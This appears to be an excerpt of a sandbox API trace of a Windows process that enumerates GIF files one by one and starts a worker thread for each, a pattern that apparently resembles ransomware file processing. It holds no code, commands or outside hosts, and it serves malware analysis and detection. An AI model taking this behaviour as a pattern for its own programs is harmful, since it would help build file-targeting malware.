	[0283.986] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc71b10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28f0
	[0283.987] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0283.988] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d7f5e00, ftCreationTime.dwHighDateTime=0x1bd4e68, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d7f5e00, ftLastWriteTime.dwHighDateTime=0x1bd4e68, nFileSizeHigh=0x0, nFileSizeLow=0xff7, dwReserved0=0x72, dwReserved1=0x0, cFileName="WB01253_.GIF", cAlternateFileName="")) returned 1
	[0283.988] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0283.988] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc751f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28f4
	[0283.989] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0283.990] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9550b600, ftCreationTime.dwHighDateTime=0x1bd4e65, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9550b600, ftLastWriteTime.dwHighDateTime=0x1bd4e65, nFileSizeHigh=0x0, nFileSizeLow=0x1ab, dwReserved0=0x72, dwReserved1=0x0, cFileName="WB01268_.GIF", cAlternateFileName="")) returned 1
	[0283.990] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0283.991] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc788d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28f8
	[0283.992] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0283.993] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc336fa00, ftCreationTime.dwHighDateTime=0x1bd4e67, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc336fa00, ftLastWriteTime.dwHighDateTime=0x1bd4e67, nFileSizeHigh=0x0, nFileSizeLow=0x255, dwReserved0=0x72, dwReserved1=0x0, cFileName="WB01292_.GIF", cAlternateFileName="")) returned 1
	[0283.993] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0283.993] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc7bfb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28fc
	[0283.995] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0283.995] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc0fec00, ftCreationTime.dwHighDateTime=0x1bd4e67, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbc0fec00, ftLastWriteTime.dwHighDateTime=0x1bd4e67, nFileSizeHigh=0x0, nFileSizeLow=0x2a7, dwReserved0=0x72, dwReserved1=0x0, cFileName="WB01293_.GIF", cAlternateFileName="")) returned 1
	[0283.995] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0283.996] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc7f690, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2900
	[0284.149] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.150] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0242a00, ftCreationTime.dwHighDateTime=0x1bd4e67, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb0242a00, ftLastWriteTime.dwHighDateTime=0x1bd4e67, nFileSizeHigh=0x0, nFileSizeLow=0x2ad, dwReserved0=0x72, dwReserved1=0x0, cFileName="WB01294_.GIF", cAlternateFileName="")) returned 1
	[0284.150] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0284.151] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2904
	[0284.152] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.153] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3725d200, ftCreationTime.dwHighDateTime=0x1bd4e69, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3725d200, ftLastWriteTime.dwHighDateTime=0x1bd4e69, nFileSizeHigh=0x0, nFileSizeLow=0x161, dwReserved0=0x72, dwReserved1=0x0, cFileName="WB01295_.GIF", cAlternateFileName="")) returned 1
	[0284.153] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0284.154] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2908
	[0284.155] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.156] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x997dd300, ftCreationTime.dwHighDateTime=0x1bd4e67, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x997dd300, ftLastWriteTime.dwHighDateTime=0x1bd4e67, nFileSizeHigh=0x0, nFileSizeLow=0x1ef, dwReserved0=0x72, dwReserved1=0x0, cFileName="WB01296_.GIF", cAlternateFileName="")) returned 1
	[0284.156] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0284.157] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x290c
	[0284.158] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.159] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9387f200, ftCreationTime.dwHighDateTime=0x1bd4e67, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9387f200, ftLastWriteTime.dwHighDateTime=0x1bd4e67, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x72, dwReserved1=0x0, cFileName="WB01297_.GIF", cAlternateFileName="")) returned 1
	[0284.159] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0284.159] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2910
	[0284.161] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.161] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d921100, ftCreationTime.dwHighDateTime=0x1bd4e67, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d921100, ftLastWriteTime.dwHighDateTime=0x1bd4e67, nFileSizeHigh=0x0, nFileSizeLow=0x2bc, dwReserved0=0x72, dwReserved1=0x0, cFileName="WB01298_.GIF", cAlternateFileName="")) returned 1
	[0284.161] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0284.162] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2914
	[0284.163] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.164] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82d77c00, ftCreationTime.dwHighDateTime=0x1bd4e67, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82d77c00, ftLastWriteTime.dwHighDateTime=0x1bd4e67, nFileSizeHigh=0x0, nFileSizeLow=0x13e, dwReserved0=0x72, dwReserved1=0x0, cFileName="WB01299_.GIF", cAlternateFileName="")) returned 1
	[0284.164] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0284.165] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2918
	[0284.166] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.167] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x794e1400, ftCreationTime.dwHighDateTime=0x1bd4e67, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x794e1400, ftLastWriteTime.dwHighDateTime=0x1bd4e67, nFileSizeHigh=0x0, nFileSizeLow=0x250, dwReserved0=0x72, dwReserved1=0x0, cFileName="WB01300_.GIF", cAlternateFileName="")) returned 1
	[0284.167] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0284.168] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x291c
	[0284.169] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.170] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74896000, ftCreationTime.dwHighDateTime=0x1bd4e67, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x74896000, ftLastWriteTime.dwHighDateTime=0x1bd4e67, nFileSizeHigh=0x0, nFileSizeLow=0x2a9, dwReserved0=0x72, dwReserved1=0x0, cFileName="WB01301_.GIF", cAlternateFileName="")) returned 1
	[0284.170] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0284.171] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc451b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2920
	[0284.172] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.173] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7a0ea00, ftCreationTime.dwHighDateTime=0x1bd4e4a, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc7a0ea00, ftLastWriteTime.dwHighDateTime=0x1bd4e4a, nFileSizeHigh=0x0, nFileSizeLow=0x2076, dwReserved0=0x72, dwReserved1=0x0, cFileName="WB01304G.GIF", cAlternateFileName="")) returned 1
	[0284.174] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0284.175] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4bf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2924
	[0284.176] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.176] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4c9d300, ftCreationTime.dwHighDateTime=0x1bd4e62, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4c9d300, ftLastWriteTime.dwHighDateTime=0x1bd4e62, nFileSizeHigh=0x0, nFileSizeLow=0x172, dwReserved0=0x72, dwReserved1=0x0, cFileName="WB01330_.GIF", cAlternateFileName="")) returned 1
	[0284.176] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0284.177] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4f650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2928
	[0284.178] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.179] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x976a4300, ftCreationTime.dwHighDateTime=0x1bd4e6c, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x976a4300, ftLastWriteTime.dwHighDateTime=0x1bd4e6c, nFileSizeHigh=0x0, nFileSizeLow=0x899, dwReserved0=0x72, dwReserved1=0x0, cFileName="WB01734_.GIF", cAlternateFileName="")) returned 1
	[0284.179] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0284.179] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc52d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x292c
	[0284.180] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.181] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b18d700, ftCreationTime.dwHighDateTime=0x1bd4e69, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b18d700, ftLastWriteTime.dwHighDateTime=0x1bd4e69, nFileSizeHigh=0x0, nFileSizeLow=0x2c3, dwReserved0=0x72, dwReserved1=0x0, cFileName="WB01740_.GIF", cAlternateFileName="")) returned 1
	[0284.181] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0284.181] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc56410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2930
	[0284.183] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.183] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49077500, ftCreationTime.dwHighDateTime=0x1bd4e69, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x49077500, ftLastWriteTime.dwHighDateTime=0x1bd4e69, nFileSizeHigh=0x0, nFileSizeLow=0x253, dwReserved0=0x72, dwReserved1=0x0, cFileName="WB01742_.GIF", cAlternateFileName="")) returned 1
	[0284.183] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0284.184] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc608b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2934
	[0284.348] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.349] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47d64800, ftCreationTime.dwHighDateTime=0x1bd4e69, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x47d64800, ftLastWriteTime.dwHighDateTime=0x1bd4e69, nFileSizeHigh=0x0, nFileSizeLow=0x4d5, dwReserved0=0x72, dwReserved1=0x0, cFileName="WB01743_.GIF", cAlternateFileName="")) returned 1
	[0284.349] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0284.350] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2938
	[0284.351] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.351] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9359300, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9359300, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x31f, dwReserved0=0x72, dwReserved1=0x0, cFileName="WB01744_.GIF", cAlternateFileName="")) returned 1
	[0284.352] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0284.352] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x293c
	[0284.354] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.354] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43119400, ftCreationTime.dwHighDateTime=0x1bd4e69, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x43119400, ftLastWriteTime.dwHighDateTime=0x1bd4e69, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x72, dwReserved1=0x0, cFileName="WB01745_.GIF", cAlternateFileName="")) returned 1
	[0284.354] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0284.355] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2940
	[0284.357] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.357] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ab95900, ftCreationTime.dwHighDateTime=0x1bd4e69, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3ab95900, ftLastWriteTime.dwHighDateTime=0x1bd4e69, nFileSizeHigh=0x0, nFileSizeLow=0x2e2, dwReserved0=0x72, dwReserved1=0x0, cFileName="WB01746_.GIF", cAlternateFileName="")) returned 1
	[0284.358] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0284.358] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2944
	[0284.360] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.360] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34c37800, ftCreationTime.dwHighDateTime=0x1bd4e69, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x34c37800, ftLastWriteTime.dwHighDateTime=0x1bd4e69, nFileSizeHigh=0x0, nFileSizeLow=0x387, dwReserved0=0x72, dwReserved1=0x0, cFileName="WB01747_.GIF", cAlternateFileName="")) returned 1
	[0284.360] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0284.361] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2948
	[0284.362] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.363] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d9c6a00, ftCreationTime.dwHighDateTime=0x1bd4e69, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2d9c6a00, ftLastWriteTime.dwHighDateTime=0x1bd4e69, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0x72, dwReserved1=0x0, cFileName="WB01748_.GIF", cAlternateFileName="")) returned 1
	[0284.363] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0284.363] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x294c
	[0284.365] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.366] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d7b600, ftCreationTime.dwHighDateTime=0x1bd4e69, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x28d7b600, ftLastWriteTime.dwHighDateTime=0x1bd4e69, nFileSizeHigh=0x0, nFileSizeLow=0x3b4, dwReserved0=0x72, dwReserved1=0x0, cFileName="WB01749_.GIF", cAlternateFileName="")) returned 1
	[0284.366] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0284.366] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2950
	[0284.368] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.369] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x207f7b00, ftCreationTime.dwHighDateTime=0x1bd4e69, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x207f7b00, ftLastWriteTime.dwHighDateTime=0x1bd4e69, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0x72, dwReserved1=0x0, cFileName="WB01750_.GIF", cAlternateFileName="")) returned 1
	[0284.369] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0284.369] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2954
	[0284.371] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.371] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cebf400, ftCreationTime.dwHighDateTime=0x1bd4e69, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1cebf400, ftLastWriteTime.dwHighDateTime=0x1bd4e69, nFileSizeHigh=0x0, nFileSizeLow=0x3b9, dwReserved0=0x72, dwReserved1=0x0, cFileName="WB01751_.GIF", cAlternateFileName="")) returned 1
	[0284.371] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0284.383] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2958
	[0284.385] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.386] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3fc5100, ftCreationTime.dwHighDateTime=0x1bd4e61, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe3fc5100, ftLastWriteTime.dwHighDateTime=0x1bd4e61, nFileSizeHigh=0x0, nFileSizeLow=0x304, dwReserved0=0x72, dwReserved1=0x0, cFileName="WB01770_.GIF", cAlternateFileName="")) returned 1
	[0284.386] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
